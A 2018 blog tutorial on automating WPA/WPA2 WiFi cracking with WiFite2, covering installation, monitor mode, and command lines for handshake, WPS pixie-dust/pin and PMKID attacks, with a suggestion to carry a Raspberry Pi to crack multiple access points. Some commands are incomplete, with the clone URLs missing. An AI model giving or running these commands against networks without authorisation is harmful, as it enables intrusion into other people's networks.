How to Perform Automated WiFi (WPA/WPA2) Cracking

by hash3liZer . 18 November 2018

How to Perform Automated WiFi (WPA/WPA2) Cracking

In this tutorial, we will automate the wireless cracking process using WiFite. Cracking wireless can exceptionally be tricky when it comes to automation for multiple Access Points. A device like Raspberry Pi could be more compact and helpful in any such cases. Consider a device which can be taken anywhere freely with a binded script in it to check for default/weak wireless passphrases.

WiFite :-

WiFite is an automated WiFi Cracking tool written in Python. It is basically a combination of various famous pentest tools like airmon, aircrack and reaver etc. It is widely used for cracking WEP and WPA (WPS) wireless networks. WiFite version 2 has been released and is likely to be already installed if you are running Kali or Parrot linux distros.

However, since i want this tutorial to be followed by the users of Raspberry Pi and Ubuntu as well, we will make a head-start installing installing WiFite.


WiFite Installation

The project is available on github:

Clone the repository using git:

$ git clone

Now, install some pre-requisities required for PMKID attack: 

$ apt-get install libcurl4-openssl-dev libssl-dev zlib1g-dev libpcap-dev

There are some of the required tools for WiFite to properly run and some others are optional. You can find this list on the link given above. The utilities iwconfig and ifconfig would already be installed. However, if you are running short of aircrack suite, that can be installed easily using apt package manager:

$ sudo apt update
$ sudo apt install aircrack-ng

Now, to install WiFite:

$ cd wifite2/
$ python install

This will install WiFite as a normal Linux command by creating a symlink to /usr/bin/ directory. You can verify it by printing the manual:

$ wifite --help


Monitor mode

You would need you wireless card to be operating in monitor mode which can be done with airmon-ng:

$ airmon-ng start wlan1


WPA/WPA2 Cracking using handshake

The standard way being used by most of the scripts is to capture a handshake and compute the encoded keys to brute force the actual key. However, lately a new method was discovered which uses PMKID to accomplish the task. To Brute force WPA/WPA2 networks using handshake, run the below command:

$ wifite -i wlan1mon --verbose --random-mac --clients-only \
    --wpa --dict /path/to/wordlist


  • -i: Monitor mode interface to use.
  • --random-mac: Randomize the Wireless Adapter MAC address.
  • --clients-only: Target networks with stations only.
  • --wpa: Target WPA/WPA2 networks only. WPS included.
  • --dict: Wordlist to use for cracking MIC hash.


WPS Cracking

WPS protocol was developed to provide user with the ease of connecting to Access Points. Hownever, the protocol is itself vulnerable on a variety of misconfigured routers. WiFite uses pixie dust and WPS Pin attack against WPS networks. To only target wps networks:

$ wifite -i wlan1mon --verbose --random-mac --nodeauths\
     --wps --wps-only


  • --nodeauths: Do not send deauthentication packets.
  • --wps: Only target WPS networks.
  • --wps-only: Only use Pin brute force and pixie dust attack.


WPA/WPA2 cracking using PMKID

Lately, a new method was discovered by Jen Steube for cracking WPA/WPA2. The difference in between handshake and PMKID is that handshake requires the whole 4-way handshake to compute the key to be bruteforced. However, with this new trick an attacker make the Access Point transfer the first EAPOL message which contains the key to be bruteforced. PMKID attack requires two more tools. Install hcxtools:

$ git clone
$ cd hcxtools
$ sudo make && sudo make install

Then install hcxdumptool:

$ git clone
$ cd hcxdumptool/
$ sudo make && sudo make install

To crack WiFi Networks using pmkid attack:

$ wifite -i wlan1mon --verbose --nodeauths \
    --pmkid --pmkid-timeout 40 --dict /path/to/wordlist


  • --pmkid: Only use PMKID to crack wireless networks.
  • --pmkid-timeout: Timeout for first Message to receive.
  • --dict: Wordlist with passwords to brute force.


Cracking Networks

To see which networks are cracked, just execute this command:

$ wifite --cracked


WiFite is an awesome wireless cracking tool which automates the cracking stuff using other pentest utilities. It can easily be integrated with a compact device like Raspberry pi and could be very useful tool for a number of reasons.